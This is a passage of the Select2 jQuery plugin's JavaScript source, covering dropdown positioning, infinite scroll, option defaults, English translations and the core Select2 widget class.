      this.$results.append(this.$loadingMore);
    }
  };

  InfiniteScroll.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('query', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    container.on('query:append', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    this.$results.on('scroll', function () {
      var isLoadMoreVisible = $.contains(
        document.documentElement,
        self.$loadingMore[0]
      );

      if (self.loading || !isLoadMoreVisible) {
        return;
      }

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var loadingMoreOffset = self.$loadingMore.offset().top +
        self.$loadingMore.outerHeight(false);

      if (currentOffset + 50 >= loadingMoreOffset) {
        self.loadMore();
      }
    });
  };

  InfiniteScroll.prototype.loadMore = function () {
    this.loading = true;

    var params = $.extend({}, {page: 1}, this.lastParams);

    params.page++;

    this.trigger('query:append', params);
  };

  InfiniteScroll.prototype.showLoadingMore = function (_, data) {
    return data.pagination && data.pagination.more;
  };

  InfiniteScroll.prototype.createLoadingMore = function () {
    var $option = $(
      '<li ' +
      'class="select2-results__option select2-results__option--load-more"' +
      'role="treeitem" aria-disabled="true"></li>'
    );

    var message = this.options.get('translations').get('loadingMore');

    $option.html(message(this.lastParams));

    return $option;
  };

  return InfiniteScroll;
});

S2.define('select2/dropdown/attachBody',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function AttachBody (decorated, $element, options) {
    this.$dropdownParent = options.get('dropdownParent') || $(document.body);

    decorated.call(this, $element, options);
  }

  AttachBody.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var setupResultsEvents = false;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self._showDropdown();
      self._attachPositioningHandler(container);

      if (!setupResultsEvents) {
        setupResultsEvents = true;

        container.on('results:all', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });

        container.on('results:append', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });
      }
    });

    container.on('close', function () {
      self._hideDropdown();
      self._detachPositioningHandler(container);
    });

    this.$dropdownContainer.on('mousedown', function (evt) {
      evt.stopPropagation();
    });
  };

  AttachBody.prototype.destroy = function (decorated) {
    decorated.call(this);

    this.$dropdownContainer.remove();
  };

  AttachBody.prototype.position = function (decorated, $dropdown, $container) {
    // Clone all of the container classes
    $dropdown.attr('class', $container.attr('class'));

    $dropdown.removeClass('select2');
    $dropdown.addClass('select2-container--open');

    $dropdown.css({
      position: 'absolute',
      top: -999999
    });

    this.$container = $container;
  };

  AttachBody.prototype.render = function (decorated) {
    var $container = $('<span></span>');

    var $dropdown = decorated.call(this);
    $container.append($dropdown);

    this.$dropdownContainer = $container;

    return $container;
  };

  AttachBody.prototype._hideDropdown = function (decorated) {
    this.$dropdownContainer.detach();
  };

  AttachBody.prototype._attachPositioningHandler =
      function (decorated, container) {
    var self = this;

    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.each(function () {
      Utils.StoreData(this, 'select2-scroll-position', {
        x: $(this).scrollLeft(),
        y: $(this).scrollTop()
      });
    });

    $watchers.on(scrollEvent, function (ev) {
      var position = Utils.GetData(this, 'select2-scroll-position');
      $(this).scrollTop(position.y);
    });

    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
      function (e) {
      self._positionDropdown();
      self._resizeDropdown();
    });
  };

  AttachBody.prototype._detachPositioningHandler =
      function (decorated, container) {
    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.off(scrollEvent);

    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
  };

  AttachBody.prototype._positionDropdown = function () {
    var $window = $(window);

    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');

    var newDirection = null;

    var offset = this.$container.offset();

    offset.bottom = offset.top + this.$container.outerHeight(false);

    var container = {
      height: this.$container.outerHeight(false)
    };

    container.top = offset.top;
    container.bottom = offset.top + container.height;

    var dropdown = {
      height: this.$dropdown.outerHeight(false)
    };

    var viewport = {
      top: $window.scrollTop(),
      bottom: $window.scrollTop() + $window.height()
    };

    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);

    var css = {
      left: offset.left,
      top: container.bottom
    };

    // Determine what the parent element is to use for calciulating the offset
    var $offsetParent = this.$dropdownParent;

    // For statically positoned elements, we need to get the element
    // that is determining the offset
    if ($offsetParent.css('position') === 'static') {
      $offsetParent = $offsetParent.offsetParent();
    }

    var parentOffset = $offsetParent.offset();

    css.top -= parentOffset.top;
    css.left -= parentOffset.left;

    if (!isCurrentlyAbove && !isCurrentlyBelow) {
      newDirection = 'below';
    }

    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
      newDirection = 'above';
    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
      newDirection = 'below';
    }

    if (newDirection == 'above' ||
      (isCurrentlyAbove && newDirection !== 'below')) {
      css.top = container.top - parentOffset.top - dropdown.height;
    }

    if (newDirection != null) {
      this.$dropdown
        .removeClass('select2-dropdown--below select2-dropdown--above')
        .addClass('select2-dropdown--' + newDirection);
      this.$container
        .removeClass('select2-container--below select2-container--above')
        .addClass('select2-container--' + newDirection);
    }

    this.$dropdownContainer.css(css);
  };

  AttachBody.prototype._resizeDropdown = function () {
    var css = {
      width: this.$container.outerWidth(false) + 'px'
    };

    if (this.options.get('dropdownAutoWidth')) {
      css.minWidth = css.width;
      css.position = 'relative';
      css.width = 'auto';
    }

    this.$dropdown.css(css);
  };

  AttachBody.prototype._showDropdown = function (decorated) {
    this.$dropdownContainer.appendTo(this.$dropdownParent);

    this._positionDropdown();
    this._resizeDropdown();
  };

  return AttachBody;
});

S2.define('select2/dropdown/minimumResultsForSearch',[

], function () {
  function countResults (data) {
    var count = 0;

    for (var d = 0; d < data.length; d++) {
      var item = data[d];

      if (item.children) {
        count += countResults(item.children);
      } else {
        count++;
      }
    }

    return count;
  }

  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
    this.minimumResultsForSearch = options.get('minimumResultsForSearch');

    if (this.minimumResultsForSearch < 0) {
      this.minimumResultsForSearch = Infinity;
    }

    decorated.call(this, $element, options, dataAdapter);
  }

  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
    if (countResults(params.data.results) < this.minimumResultsForSearch) {
      return false;
    }

    return decorated.call(this, params);
  };

  return MinimumResultsForSearch;
});

S2.define('select2/dropdown/selectOnClose',[
  '../utils'
], function (Utils) {
  function SelectOnClose () { }

  SelectOnClose.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('close', function (params) {
      self._handleSelectOnClose(params);
    });
  };

  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
    if (params && params.originalSelect2Event != null) {
      var event = params.originalSelect2Event;

      // Don't select an item if the close event was triggered from a select or
      // unselect event
      if (event._type === 'select' || event._type === 'unselect') {
        return;
      }
    }

    var $highlightedResults = this.getHighlightedResults();

    // Only select highlighted results
    if ($highlightedResults.length < 1) {
      return;
    }

    var data = Utils.GetData($highlightedResults[0], 'data');

    // Don't re-select already selected resulte
    if (
      (data.element != null && data.element.selected) ||
      (data.element == null && data.selected)
    ) {
      return;
    }

    this.trigger('select', {
        data: data
    });
  };

  return SelectOnClose;
});

S2.define('select2/dropdown/closeOnSelect',[

], function () {
  function CloseOnSelect () { }

  CloseOnSelect.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('select', function (evt) {
      self._selectTriggered(evt);
    });

    container.on('unselect', function (evt) {
      self._selectTriggered(evt);
    });
  };

  CloseOnSelect.prototype._selectTriggered = function (_, evt) {
    var originalEvent = evt.originalEvent;

    // Don't close if the control key is being held
    if (originalEvent && originalEvent.ctrlKey) {
      return;
    }

    this.trigger('close', {
      originalEvent: originalEvent,
      originalSelect2Event: evt
    });
  };

  return CloseOnSelect;
});

S2.define('select2/i18n/en',[],function () {
  // English
  return {
    errorLoading: function () {
      return 'The results could not be loaded.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Please delete ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Please enter ' + remainingChars + ' or more characters';

      return message;
    },
    loadingMore: function () {
      return 'Loading more results…';
    },
    maximumSelected: function (args) {
      var message = 'You can only select ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No results found';
    },
    searching: function () {
      return 'Searching…';
    }
  };
});

S2.define('select2/defaults',[
  'jquery',
  'require',

  './results',

  './selection/single',
  './selection/multiple',
  './selection/placeholder',
  './selection/allowClear',
  './selection/search',
  './selection/eventRelay',

  './utils',
  './translation',
  './diacritics',

  './data/select',
  './data/array',
  './data/ajax',
  './data/tags',
  './data/tokenizer',
  './data/minimumInputLength',
  './data/maximumInputLength',
  './data/maximumSelectionLength',

  './dropdown',
  './dropdown/search',
  './dropdown/hidePlaceholder',
  './dropdown/infiniteScroll',
  './dropdown/attachBody',
  './dropdown/minimumResultsForSearch',
  './dropdown/selectOnClose',
  './dropdown/closeOnSelect',

  './i18n/en'
], function ($, require,

             ResultsList,

             SingleSelection, MultipleSelection, Placeholder, AllowClear,
             SelectionSearch, EventRelay,

             Utils, Translation, DIACRITICS,

             SelectData, ArrayData, AjaxData, Tags, Tokenizer,
             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,

             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,

             EnglishTranslation) {
  function Defaults () {
    this.reset();
  }

  Defaults.prototype.apply = function (options) {
    options = $.extend(true, {}, this.defaults, options);

    if (options.dataAdapter == null) {
      if (options.ajax != null) {
        options.dataAdapter = AjaxData;
      } else if (options.data != null) {
        options.dataAdapter = ArrayData;
      } else {
        options.dataAdapter = SelectData;
      }

      if (options.minimumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MinimumInputLength
        );
      }

      if (options.maximumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumInputLength
        );
      }

      if (options.maximumSelectionLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumSelectionLength
        );
      }

      if (options.tags) {
        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
      }

      if (options.tokenSeparators != null || options.tokenizer != null) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Tokenizer
        );
      }

      if (options.query != null) {
        var Query = require(options.amdBase + 'compat/query');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Query
        );
      }

      if (options.initSelection != null) {
        var InitSelection = require(options.amdBase + 'compat/initSelection');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          InitSelection
        );
      }
    }

    if (options.resultsAdapter == null) {
      options.resultsAdapter = ResultsList;

      if (options.ajax != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          InfiniteScroll
        );
      }

      if (options.placeholder != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          HidePlaceholder
        );
      }

      if (options.selectOnClose) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          SelectOnClose
        );
      }
    }

    if (options.dropdownAdapter == null) {
      if (options.multiple) {
        options.dropdownAdapter = Dropdown;
      } else {
        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);

        options.dropdownAdapter = SearchableDropdown;
      }

      if (options.minimumResultsForSearch !== 0) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          MinimumResultsForSearch
        );
      }

      if (options.closeOnSelect) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          CloseOnSelect
        );
      }

      if (
        options.dropdownCssClass != null ||
        options.dropdownCss != null ||
        options.adaptDropdownCssClass != null
      ) {
        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');

        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          DropdownCSS
        );
      }

      options.dropdownAdapter = Utils.Decorate(
        options.dropdownAdapter,
        AttachBody
      );
    }

    if (options.selectionAdapter == null) {
      if (options.multiple) {
        options.selectionAdapter = MultipleSelection;
      } else {
        options.selectionAdapter = SingleSelection;
      }

      // Add the placeholder mixin if a placeholder was specified
      if (options.placeholder != null) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          Placeholder
        );
      }

      if (options.allowClear) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          AllowClear
        );
      }

      if (options.multiple) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          SelectionSearch
        );
      }

      if (
        options.containerCssClass != null ||
        options.containerCss != null ||
        options.adaptContainerCssClass != null
      ) {
        var ContainerCSS = require(options.amdBase + 'compat/containerCss');

        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          ContainerCSS
        );
      }

      options.selectionAdapter = Utils.Decorate(
        options.selectionAdapter,
        EventRelay
      );
    }

    if (typeof options.language === 'string') {
      // Check if the language is specified with a region
      if (options.language.indexOf('-') > 0) {
        // Extract the region information if it is included
        var languageParts = options.language.split('-');
        var baseLanguage = languageParts[0];

        options.language = [options.language, baseLanguage];
      } else {
        options.language = [options.language];
      }
    }

    if ($.isArray(options.language)) {
      var languages = new Translation();
      options.language.push('en');

      var languageNames = options.language;

      for (var l = 0; l < languageNames.length; l++) {
        var name = languageNames[l];
        var language = {};

        try {
          // Try to load it with the original name
          language = Translation.loadPath(name);
        } catch (e) {
          try {
            // If we couldn't load it, check if it wasn't the full path
            name = this.defaults.amdLanguageBase + name;
            language = Translation.loadPath(name);
          } catch (ex) {
            // The translation could not be loaded at all. Sometimes this is
            // because of a configuration problem, other times this can be
            // because of how Select2 helps load all possible translation files.
            if (options.debug && window.console && console.warn) {
              console.warn(
                'Select2: The language file for "' + name + '" could not be ' +
                'automatically loaded. A fallback will be used instead.'
              );
            }

            continue;
          }
        }

        languages.extend(language);
      }

      options.translations = languages;
    } else {
      var baseTranslation = Translation.loadPath(
        this.defaults.amdLanguageBase + 'en'
      );
      var customTranslation = new Translation(options.language);

      customTranslation.extend(baseTranslation);

      options.translations = customTranslation;
    }

    return options;
  };

  Defaults.prototype.reset = function () {
    function stripDiacritics (text) {
      // Used 'uni range + named function' from http://jsperf.com/diacritics/18
      function match(a) {
        return DIACRITICS[a] || a;
      }

      return text.replace(/[^\u0000-\u007E]/g, match);
    }

    function matcher (params, data) {
      // Always return the object if there is nothing to compare
      if ($.trim(params.term) === '') {
        return data;
      }

      // Do a recursive check for options with children
      if (data.children && data.children.length > 0) {
        // Clone the data object if there are children
        // This is required as we modify the object to remove any non-matches
        var match = $.extend(true, {}, data);

        // Check each child of the option
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          var matches = matcher(params, child);

          // If there wasn't a match, remove the object in the array
          if (matches == null) {
            match.children.splice(c, 1);
          }
        }

        // If any children matched, return the new object
        if (match.children.length > 0) {
          return match;
        }

        // If there were no matching children, check just the plain object
        return matcher(params, match);
      }

      var original = stripDiacritics(data.text).toUpperCase();
      var term = stripDiacritics(params.term).toUpperCase();

      // Check if the text contains the term
      if (original.indexOf(term) > -1) {
        return data;
      }

      // If it doesn't contain the term, don't return anything
      return null;
    }

    this.defaults = {
      amdBase: './',
      amdLanguageBase: './i18n/',
      closeOnSelect: true,
      debug: false,
      dropdownAutoWidth: false,
      escapeMarkup: Utils.escapeMarkup,
      language: EnglishTranslation,
      matcher: matcher,
      minimumInputLength: 0,
      maximumInputLength: 0,
      maximumSelectionLength: 0,
      minimumResultsForSearch: 0,
      selectOnClose: false,
      sorter: function (data) {
        return data;
      },
      templateResult: function (result) {
        return result.text;
      },
      templateSelection: function (selection) {
        return selection.text;
      },
      theme: 'default',
      width: 'resolve'
    };
  };

  Defaults.prototype.set = function (key, value) {
    var camelKey = $.camelCase(key);

    var data = {};
    data[camelKey] = value;

    var convertedData = Utils._convertData(data);

    $.extend(true, this.defaults, convertedData);
  };

  var defaults = new Defaults();

  return defaults;
});

S2.define('select2/options',[
  'require',
  'jquery',
  './defaults',
  './utils'
], function (require, $, Defaults, Utils) {
  function Options (options, $element) {
    this.options = options;

    if ($element != null) {
      this.fromElement($element);
    }

    this.options = Defaults.apply(this.options);

    if ($element && $element.is('input')) {
      var InputCompat = require(this.get('amdBase') + 'compat/inputData');

      this.options.dataAdapter = Utils.Decorate(
        this.options.dataAdapter,
        InputCompat
      );
    }
  }

  Options.prototype.fromElement = function ($e) {
    var excludedData = ['select2'];

    if (this.options.multiple == null) {
      this.options.multiple = $e.prop('multiple');
    }

    if (this.options.disabled == null) {
      this.options.disabled = $e.prop('disabled');
    }

    if (this.options.language == null) {
      if ($e.prop('lang')) {
        this.options.language = $e.prop('lang').toLowerCase();
      } else if ($e.closest('[lang]').prop('lang')) {
        this.options.language = $e.closest('[lang]').prop('lang');
      }
    }

    if (this.options.dir == null) {
      if ($e.prop('dir')) {
        this.options.dir = $e.prop('dir');
      } else if ($e.closest('[dir]').prop('dir')) {
        this.options.dir = $e.closest('[dir]').prop('dir');
      } else {
        this.options.dir = 'ltr';
      }
    }

    $e.prop('disabled', this.options.disabled);
    $e.prop('multiple', this.options.multiple);

    if (Utils.GetData($e[0], 'select2Tags')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-select2-tags` attribute has been changed to ' +
          'use the `data-data` and `data-tags="true"` attributes and will be ' +
          'removed in future versions of Select2.'
        );
      }

      Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags'));
      Utils.StoreData($e[0], 'tags', true);
    }

    if (Utils.GetData($e[0], 'ajaxUrl')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-ajax-url` attribute has been changed to ' +
          '`data-ajax--url` and support for the old attribute will be removed' +
          ' in future versions of Select2.'
        );
      }

      $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl'));
      Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl'));
	  
    }

    var dataset = {};

    // Prefer the element's `dataset` attribute if it exists
    // jQuery 1.x does not correctly handle data attributes with multiple dashes
    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
      dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0]));
    } else {
      dataset = Utils.GetData($e[0]);
    }

    var data = $.extend(true, {}, dataset);

    data = Utils._convertData(data);

    for (var key in data) {
      if ($.inArray(key, excludedData) > -1) {
        continue;
      }

      if ($.isPlainObject(this.options[key])) {
        $.extend(this.options[key], data[key]);
      } else {
        this.options[key] = data[key];
      }
    }

    return this;
  };

  Options.prototype.get = function (key) {
    return this.options[key];
  };

  Options.prototype.set = function (key, val) {
    this.options[key] = val;
  };

  return Options;
});

S2.define('select2/core',[
  'jquery',
  './options',
  './utils',
  './keys'
], function ($, Options, Utils, KEYS) {
  var Select2 = function ($element, options) {
    if (Utils.GetData($element[0], 'select2') != null) {
      Utils.GetData($element[0], 'select2').destroy();
    }

    this.$element = $element;

    this.id = this._generateId($element);

    options = options || {};

    this.options = new Options(options, $element);

    Select2.__super__.constructor.call(this);

    // Set up the tabindex

    var tabindex = $element.attr('tabindex') || 0;
    Utils.StoreData($element[0], 'old-tabindex', tabindex);
    $element.attr('tabindex', '-1');

    // Set up containers and adapters

    var DataAdapter = this.options.get('dataAdapter');
    this.dataAdapter = new DataAdapter($element, this.options);

    var $container = this.render();

    this._placeContainer($container);

    var SelectionAdapter = this.options.get('selectionAdapter');
    this.selection = new SelectionAdapter($element, this.options);
    this.$selection = this.selection.render();

    this.selection.position(this.$selection, $container);

    var DropdownAdapter = this.options.get('dropdownAdapter');
    this.dropdown = new DropdownAdapter($element, this.options);
    this.$dropdown = this.dropdown.render();

    this.dropdown.position(this.$dropdown, $container);

    var ResultsAdapter = this.options.get('resultsAdapter');
    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
    this.$results = this.results.render();

    this.results.position(this.$results, this.$dropdown);

    // Bind events

    var self = this;

    // Bind the container to all of the adapters
    this._bindAdapters();

    // Register any DOM event handlers
    this._registerDomEvents();

    // Register any internal event handlers
    this._registerDataEvents();
    this._registerSelectionEvents();
    this._registerDropdownEvents();
    this._registerResultsEvents();
    this._registerEvents();

    // Set the initial state
    this.dataAdapter.current(function (initialData) {
      self.trigger('selection:update', {
        data: initialData
      });
    });

    // Hide the original select
    $element.addClass('select2-hidden-accessible');
    $element.attr('aria-hidden', 'true');

    // Synchronize any monitored attributes
    this._syncAttributes();

    Utils.StoreData($element[0], 'select2', this);

    // Ensure backwards compatibility with $element.data('select2').
    $element.data('select2', this);
  };

  Utils.Extend(Select2, Utils.Observable);

  Select2.prototype._generateId = function ($element) {
    var id = '';

    if ($element.attr('id') != null) {
      id = $element.attr('id');
    } else if ($element.attr('name') != null) {
      id = $element.attr('name') + '-' + Utils.generateChars(2);
    } else {
      id = Utils.generateChars(4);
    }

    id = id.replace(/(:|\.|\[|\]|,)/g, '');
    id = 'select2-' + id;

    return id;
  };

  Select2.prototype._placeContainer = function ($container) {
    $container.insertAfter(this.$element);

    var width = this._resolveWidth(this.$element, this.options.get('width'));

    if (width != null) {
      $container.css('width', width);
    }
  };

  Select2.prototype._resolveWidth = function ($element, method) {
    var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;

    if (method == 'resolve') {
      var styleWidth = this._resolveWidth($element, 'style');

      if (styleWidth != null) {
        return styleWidth;
      }

      return this._resolveWidth($element, 'element');
    }

    if (method == 'element') {
      var elementWidth = $element.outerWidth(false);

      if (elementWidth <= 0) {
        return 'auto';
      }

      return elementWidth + 'px';
    }

    if (method == 'style') {
      var style = $element.attr('style');

      if (typeof(style) !== 'string') {
        return null;
      }

      var attrs = style.split(';');

      for (var i = 0, l = attrs.length; i < l; i = i + 1) {
        var attr = attrs[i].replace(/\s/g, '');
        var matches = attr.match(WIDTH);

        if (matches !== null && matches.length >= 1) {
          return matches[1];
        }
      }

      return null;
    }

    return method;
  };

  Select2.prototype._bindAdapters = function () {
    this.dataAdapter.bind(this, this.$container);
    this.selection.bind(this, this.$container);

    this.dropdown.bind(this, this.$container);
    this.results.bind(this, this.$container);
  };

  Select2.prototype._registerDomEvents = function () {
    var self = this;

    this.$element.on('change.select2', function () {
      self.dataAdapter.current(function (data) {
        self.trigger('selection:update', {
          data: data
        });
      });
    });

    this.$element.on('focus.select2', function (evt) {
      self.trigger('focus', evt);
    });

    this._syncA = Utils.bind(this._syncAttributes, this);
    this._syncS = Utils.bind(this._syncSubtree, this);

    if (this.$element[0].attachEvent) {
      this.$element[0].attachEvent('onpropertychange', this._syncA);
    }

    var observer = window.MutationObserver ||
      window.WebKitMutationObserver ||
      window.MozMutationObserver
    ;

    if (observer != null) {
      this._observer = new observer(function (mutations) {
        $.each(mutations, self._syncA);
        $.each(mutations, self._syncS);
      });
      this._observer.observe(this.$element[0], {
        attributes: true,
        childList: true,
        subtree: false
      });
    } else if (this.$element[0].addEventListener) {
      this.$element[0].addEventListener(
        'DOMAttrModified',
        self._syncA,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeInserted',
        self._syncS,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeRemoved',
        self._syncS,
        false
      );
    }
  };

  Select2.prototype._registerDataEvents = function () {
    var self = this;

    this.dataAdapter.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerSelectionEvents = function () {
    var self = this;
    var nonRelayEvents = ['toggle', 'focus'];

    this.selection.on('toggle', function () {
      self.toggleDropdown();
    });

    this.selection.on('focus', function (params) {
      self.focus(params);
    });

    this.selection.on('*', function (name, params) {
      if ($.inArray(name, nonRelayEvents) !== -1) {
        return;
      }

      self.trigger(name, params);
    });
  };

  Select2.prototype._registerDropdownEvents = function () {
    var self = this;

    this.dropdown.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerResultsEvents = function () {
    var self = this;

    this.results.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerEvents = function () {
    var self = this;

    this.on('open', function () {
      self.$container.addClass('select2-container--open');
    });

    this.on('close', function () {
      self.$container.removeClass('select2-container--open');
    });

    this.on('enable', function () {
      self.$container.removeClass('select2-container--disabled');
    });

    this.on('disable', function () {
      self.$container.addClass('select2-container--disabled');
    });

    this.on('blur', function () {
      self.$container.removeClass('select2-container--focus');
    });

    this.on('query', function (params) {
      if (!self.isOpen()) {
        self.trigger('open', {});
      }

      this.dataAdapter.query(params, function (data) {
        self.trigger('results:all', {
          data: data,
          query: params
        });
      });
    });

    this.on('query:append', function (params) {
      this.dataAdapter.query(params, function (data) {
        self.trigger('results:append', {
          data: data,
          query: params
        });
      });
    });

    this.on('keypress', function (evt) {
      var key = evt.which;

      if (self.isOpen()) {
        if (key === KEYS.ESC || key === KEYS.TAB ||
            (key === KEYS.UP && evt.altKey)) {
          self.close();

          evt.preventDefault();
        } else if (key === KEYS.ENTER) {
          self.trigger('results:select', {});

          evt.preventDefault();
        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {
          self.trigger('results:toggle', {});

          evt.preventDefault();
        } else if (key === KEYS.UP) {
          self.trigger('results:previous', {});

          evt.preventDefault();
        } else if (key === KEYS.DOWN) {
          self.trigger('results:next', {});

          evt.preventDefault();
        }
      } else {
        if (key === KEYS.ENTER || key === KEYS.SPACE ||
            (key === KEYS.DOWN && evt.altKey)) {
          self.open();

          evt.preventDefault();
        }
      }
    });
  };

  Select2.prototype._syncAttributes = function () {
    this.options.set('disabled', this.$element.prop('disabled'));

    if (this.options.get('disabled')) {
      if (this.isOpen()) {
        this.close();
      }

      this.trigger('disable', {});
    } else {
      this.trigger('enable', {});
    }
  };

  Select2.prototype._syncSubtree = function (evt, mutations) {
    var changed = false;
    var self = this;

    // Ignore any mutation events raised for elements that aren't options or
    // optgroups. This handles the case when the select element is destroyed
    if (
      evt && evt.target && (
        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
      )
    ) {
      return;
    }

    if (!mutations) {
      // If mutation events aren't supported, then we can only assume that the
      // change affected the selections
      changed = true;
    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
      for (var n = 0; n < mutations.addedNodes.length; n++) {
        var node = mutations.addedNodes[n];

        if (node.selected) {
          changed = true;
        }
      }
    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
      changed = true;
    }

    // Only re-pull the data if we think there is a change
    if (changed) {
      this.dataAdapter.current(function (currentData) {
        self.trigger('selection:update', {
          data: currentData
        });
      });
    }
  };

  /**
   * Override the trigger method to automatically trigger pre-events when
   * there are events that can be prevented.
   */
  Select2.prototype.trigger = function (name, args) {
    var actualTrigger = Select2.__super__.trigger;
    var preTriggerMap = {
      'open': 'opening',
      'close': 'closing',
      'select': 'selecting',
      'unselect': 'unselecting',
      'clear': 'clearing'
    };

    if (args === undefined) {
      args = {};
    }

    if (name in preTriggerMap) {
      var preTriggerName = preTriggerMap[name];
      var preTriggerArgs = {
        prevented: false,
        name: name,
        args: args
      };

      actualTrigger.call(this, preTriggerName, preTriggerArgs);

      if (preTriggerArgs.prevented) {
        args.prevented = true;

        return;
      }
    }

    actualTrigger.call(this, name, args);
  };

  Select2.prototype.toggleDropdown = function () {
    if (this.options.get('disabled')) {
      return;
    }

    if (this.isOpen()) {
      this.close();
    } else {
      this.open();
    }
  };

  Select2.prototype.open = function () {
    if (this.isOpen()) {
      return;
    }

    this.trigger('query', {});
  };

  Select2.prototype.close = function () {
    if (!this.isOpen()) {
      return;
    }

    this.trigger('close', {});
  };

  Select2.prototype.isOpen = function () {
    return this.$container.hasClass('select2-container--open');
  };

  Select2.prototype.hasFocus = function () {
    return this.$container.hasClass('select2-container--focus');
  };

  Select2.prototype.focus = function (data) {
    // No need to re-trigger focus events if we are already focused
    if (this.hasFocus()) {
      return;
    }

    this.$container.addClass('select2-container--focus');
    this.trigger('focus', {});
  };

  Select2.prototype.enable = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("enable")` method has been deprecated and will' +
        ' be removed in later Select2 versions. Use $element.prop("disabled")' +
        ' instead.'
      );
    }

    if (args == null || args.length === 0) {
      args = [true];
    }

    var disabled = !args[0];

    this.$element.prop('disabled', disabled);
  };

  Select2.prototype.data = function () {
    if (this.options.get('debug') &&
        arguments.length > 0 && window.console && console.warn) {
      console.warn(
        'Select2: Data can no longer be set using `select2("data")`. You ' +
        'should consider setting the value instead using `$element.val()`.'
      );
    }

    var data = [];

    this.dataAdapter.current(function (currentData) {
      data = currentData;
    });

    return data;
  };

  Select2.prototype.val = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("val")` method has been deprecated and will be' +
        ' removed in later Select2 versions. Use $element.val() instead.'
      );
    }

    if (args == null || args.length === 0) {
      return this.$element.val();
    }

    var newVal = args[0];

    if ($.isArray(newVal)) {
      newVal = $.map(newVal, function (obj) {
        return obj.toString();
      });
    }

    this.$element.val(newVal).trigger('change');
  };

